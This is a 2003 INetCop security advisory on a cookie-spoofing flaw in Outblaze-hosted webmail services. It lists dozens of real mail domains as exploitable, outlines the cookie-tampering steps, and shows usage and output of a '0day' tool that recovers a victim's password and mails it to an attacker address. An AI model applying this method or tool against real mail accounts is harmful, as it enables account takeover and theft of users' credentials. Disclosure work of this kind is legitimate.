

---

# INetCop Security Advisory #2003-0x82-014

---

\* Title: ++Danger++

Outblaze Web based e-mail that is exposed in very dangerous state !!!

## 0x01. Description

Hackermail.com (Outblaze Web based e-mail) is mail service that I use.

Last week, someone hacked 'xploit@hackermail.com' that I'm using.

(hacked several people. wow, very funny kiddies !)

And, I looked for the first step.

It was problem in Outblaze Web based e-mail service.

I also, could find again my mail password. hehe

It because of cookie such as fool! Many mail users get overridden.

I yet, did not try conversation with mail hacking criminal.

However, It's sure that I find funny and interesting truth thanks to.

**++Update Advisory version #2003-0x82-014.b++**

I know interesting truth still more.

This can hack almost Outblaze Web based e-mail service !!! w00h00~!

## 0x02. Vulnerable Sites

Vendor site: ? <http://www.outblaze.com> (Desire to visit.)

mail server	vulnerable?	exploitable?
<a href="http://www.amrer.net">http://www.amrer.net</a>	vulnerable	exploitable
<a href="http://www.amuro.net">http://www.amuro.net</a>	vulnerable	exploitable
<a href="http://www.amuromail.com">http://www.amuromail.com</a>	vulnerable	exploitable
<a href="http://www.astroboymail.com">http://www.astroboymail.com</a>	vulnerable	exploitable
<a href="http://www.dbzmail.com">http://www.dbzmail.com</a>	vulnerable	exploitable
<a href="http://www.doramail.com">http://www.doramail.com</a>	vulnerable	exploitable
<a href="http://www.glay.org">http://www.glay.org</a>	vulnerable	exploitable
<a href="http://www.jpopmail.com">http://www.jpopmail.com</a>	vulnerable	exploitable
<a href="http://www.keromail.com">http://www.keromail.com</a>	vulnerable	exploitable
<a href="http://www.kichimail.com">http://www.kichimail.com</a>	vulnerable	exploitable
<a href="http://www.norikomail.com">http://www.norikomail.com</a>	vulnerable	exploitable
<a href="http://www.otakumail.com">http://www.otakumail.com</a>	vulnerable	exploitable
<a href="http://www.smapxsmmap.net">http://www.smapxsmmap.net</a>	vulnerable	- Don't change hint
<a href="http://www.uymail.com">http://www.uymail.com</a>	vulnerable	exploitable
<a href="http://www.yymail.com">http://www.yymail.com</a>	vulnerable	exploitable
<a href="http://mail.china139.com">http://mail.china139.com</a>	vulnerable	exploitable
<a href="http://www.mailasia.com">http://www.mailasia.com</a>	vulnerable	exploitable
<a href="http://www.aaronkwok.net">http://www.aaronkwok.net</a>	vulnerable	exploitable
<a href="http://www.bsdmal.org">http://www.bsdmal.org</a>	vulnerable	exploitable
<a href="http://www.bsdmal.com">http://www.bsdmal.com</a>	vulnerable	exploitable
<a href="http://www.ezagenda.com">http://www.ezagenda.com</a>	vulnerable	- Don't change hint
<a href="http://www.fastermail.com">http://www.fastermail.com</a>	vulnerable	- Don't change hint
<a href="http://www.wongfaye.com">http://www.wongfaye.com</a>	vulnerable	exploitable
<a href="http://www.graffiti.net">http://www.graffiti.net</a>	vulnerable	exploitable
<a href="http://www.hackermail.com">http://www.hackermail.com</a>	vulnerable	exploitable
<a href="http://www.kellychen.com">http://www.kellychen.com</a>	vulnerable	exploitable
<a href="http://www.leonlai.net">http://www.leonlai.net</a>	vulnerable	exploitable



## 0x03. Exploit

Cookie Spooing Exploit method is very simple.

1. First, read user's cookie.
2. Change mail id, domain, etc... cookie informations.
3. And, deceive it. hehe, it's very easy?

Its application is very simple.

Hack user's information page. (information correction)

Thereafter, can find out password.

yah0o ~!

I exhibited exploit to my friends not long ago.

The following is my xpl0it execution result.

```
bash$ ./0x82-eat_outblaze_0dayxpl
```

**Outblaze Web based e-mail User Cookie Spoofing 0day exploit  
by Xpl017Elz.**

**Usage: ./0x82-eat\_outblaze\_0dayxpl -option [argument]**

<b>-t [target num]</b>	<b>- target mail server.</b>
<b>-i [mail id]</b>	<b>- target mail id.</b>
<b>-m [mail addr]</b>	<b>- your mail address.</b>
<b>-h</b>	<b>- help information.</b>

**Select target mail number:**

**{0} amrer.net**

**{1} amuro.net**

**{2} amuromail.com**

**{3} astroboymail.com**

{4} dbzmail.com  
{5} doramail.com  
{6} glay.org  
{7} jpopmail.com  
{8} keromail.com  
{9} kichimail.com  
{10} norikomail.com  
{11} otakumail.com  
{12} smapxsmap.net  
{13} uymail.com  
{14} yyhmail.com  
{15} china139.com  
{16} mailasia.com  
{17} aaronkwok.net  
{18} bsdmail.com  
{19} bsdmail.org  
{20} ezagenda.com  
{21} fastermail.com  
{22} wongfaye.com  
{23} graffiti.net  
{24} hackermail.com  
{25} kellychen.com  
{26} leonlai.net  
{27} linuxmail.org  
{28} outblaze.net  
{29} outblaze.org  
{30} outgun.com  
{31} surfy.net  
{32} pakistans.com  
{33} jaydemail.com  
{34} joinme.com  
{35} marchmail.com  
{36} nctta.org  
{37} portugalnet.com  
{38} boardermail.com  
{39} mailpuppy.com

- {40} melodymail.com
- {41} twinstarsmail.com
- {42} purinmail.com
- {43} gundamfan.com
- {44} slamdunkfan.com
- {45} movemail.com
- {46} startvclub.com
- {47} ultrapostman.com
- {48} sailormoon.com

Example> ./0x82-eat\_outblaze\_0dayxpl -t 0 -i admin -m your\_mail@mail.com

bash\$

bash\$ ./0x82-eat\_outblaze\_0dayxpl -t 24 -i tester -m attacker@testmail.com

Outblaze Web based e-mail User Cookie Spoofing 0day exploit  
by Xpl017Elz.

=====  
++ Cookie Spoofing Brute-force mode. ++

[\*] Connected to http://www.hackermail.com/.  
[\*] target mail address: tester@hackermail.com.  
[\*] Wait, getting password:

This is your password: Happy-Exploit

[\*] Password sent out by your e-mail (attacker@testmail.com).  
=====

bash\$

This code may have spewed password if put ID that want to attack.  
Also, password is sent out your mail.

## 0x04. Patch

--

There is document about cookie security very much.  
We notified this truth to Outblaze Web based e-mail solution before.  
Soon is going to become patch.

--

Thank you.

P.S: Sorry, for my poor english.

--

By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: [szoahc\(at\)hotmail\(dot\)com](mailto:szoahc@hotmail.com),  
[xploit\(at\)hackermail\(dot\)com](mailto:xploit@hackermail.com)

INetCop Security Home: <http://www.inetcop.org/> (Korean hacking game)

My World: <http://x82.i21c.net/> & <http://x82.inetcop.org/>

GPG public key: <http://x82.inetcop.org/h0me/pr0file/x82.k3y>

--